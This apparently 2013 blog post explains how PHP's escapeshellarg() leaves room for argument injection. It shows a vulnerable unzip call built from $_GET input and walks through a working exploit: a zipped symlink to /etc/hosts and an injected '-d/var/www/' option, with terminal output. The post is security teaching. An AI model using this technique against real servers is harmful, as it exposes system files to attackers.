воскресенье, 24 марта 2013 г.

Breaking escapeshellarg() news

PHP function escapeshellarg() is the most popular way to prevent OS Commanding threats during shell calls by escaping command arguments.

But this function is not a panacea, and you should keep this in mind when using it.

Let's try to understand what this escaping function is doing:
  1. Performs framing quotes string: aaa -> 'aaa'
  2. Cuts bytes 0x00, 0x80-0xFF
  3. Escape single quotes: ' -> ''\'''
This guaranteed to create one console line argument from a string.
So, looks like ideal solution, right?

But there are no restrictions on characters in this line argument. For example, command line argument after escapeshellarg() filtration can be a command key (-a, -o and others). This is the first trick.

Second trick is argument parser which embeded in command line utilities.

Feel it:
$command -arg param
$command -arg=param
$command '-arg=param'
$command '-arg param'

There are no differences between these four examples for most command line utilities! Pay your attention to two last command lines, - you can put these lines after escapeshellarg() filtration.

   exec('unzip -j '.escapeshellarg($_GET['zip_arch_name']).' *.dat -d /tmp');
Is it code protected from hackers? Try to check this in terminal by typing:
$ unzip -j '-d/var/www/' *.dat -d /tmp

This command will extract files with masks '*.dat' (all matches after first), '-d', '/tmp' from ZIP arhieve with filename *.dat to output folder /var/www.

Preparing exploit:
$ ln -s /etc/hosts 2.dat
$ zip --symlinks 1.zip 2.dat
$ mv 1.zip 1.dat

You can also add file with name '-d' to archive to make attack more stable (w/o needs of upload 1.dat and 2.dat both for exploit).

Try it:

$ unzip -j '-d/var/www' *.dat -d /tmp
Archive:  1.dat
    linking: /var/www/2.dat  -> /etc/hosts
finishing deferred symbolic links:
  /var/www/2.dat -> /etc/hosts
caution: filename not matched:  -d
caution: filename not matched:  /tmp

Now you can read files by +FollowSymlinks              -------------->